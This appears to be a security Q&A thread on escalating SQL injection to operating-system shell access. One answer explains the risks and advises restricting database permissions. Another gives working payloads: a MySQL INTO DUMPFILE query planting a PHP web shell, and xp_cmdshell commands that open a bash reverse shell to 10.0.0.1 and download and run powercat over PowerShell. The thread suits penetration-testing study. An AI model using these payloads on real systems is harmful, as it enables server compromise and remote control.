Leveraging a shell from SQL injection

Many common SQL servers support functions such as xp_cmdshell that allow the execution of arbitrary commands. They are not in the SQL standard so every database software has different names for it.

Furthermore there is SELECT ... INTO OUTFILE, that can be used to write arbitrary files with the permissions of the database user. It may be possible to overwrite shell scripts that are invoked by cron or on startup. If the database server process is running on the same server as a web application (e. g. a single rented server), it may be possible to write .php files that can then be invoked by visiting the appropriate url in the browser.

The third way to cause damage is to define and execute stored procedures in the database. Or redefine existing stored procedures, for example a function that verifies passwords.

There are likely more ways.

The application database user should neither have permissions to execute the shell functions nor use INTO OUTFILE nor to define stored procedures.


There are several ways to get shell. Here is some of them. The link in the bottom should lead you to some excellent cheat sheets for many kinds of databases like MSSQL, Oracle, MySQL and more.

A good tip for getting shell is having this reverse shell cheat sheet in your back pocket.

Outfile

If you know where to put the shell on the server (somewhere accessible) you can use the following query (mysql) to create for example a php shell on the webserver:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/shell.php’

Finding where you should put the shell

You need to know where the domain dir is. Learning where the database is running can be helpfull thus an injection query (mysql) like this would maybe tell you about the directory architecture:

SELECT @@datadir;

You may also be lucky if you try force any error messages from the system to make it tell you where the it is running. Typically this approach is the easiest as many error messages are very

Using built in DB functions (xp_cmdshell)

MSSQL has a relative easy way of calling OS functions by using the built in function xp_cmdshell. It is not as easy in MySQL (usually requires outfile or stored procedure). Oracle is farily easy aswell as it allows Java code to be executed.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

The statement above creates an interactive (-i) shell listening at 10.0.0.1 port 8080.

Edit: Of course MSSQL with Bash is really unlikely. Didn't think of that before I saw the comment. Instead of the bash, one can do a reverse Powershell script instead, such as this:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat can be downloaded from here: https://github.com/besimorhino/powercat

Shell via stored procedures

If you can concatenate queries in an injection point you can most likely create procedures in the database. These procedures work as functions which you then can call with quries.

See Shell commands from PL SQL for more details on this.

Other

Good source for injection: pentest monkey


With an Oracle database, you can actually compile and execute Java code from an SQL query. I've seen attackers implement a basic shell wrapper in Java for Oracle, and run and compile it from SQL injection. Pretty nifty.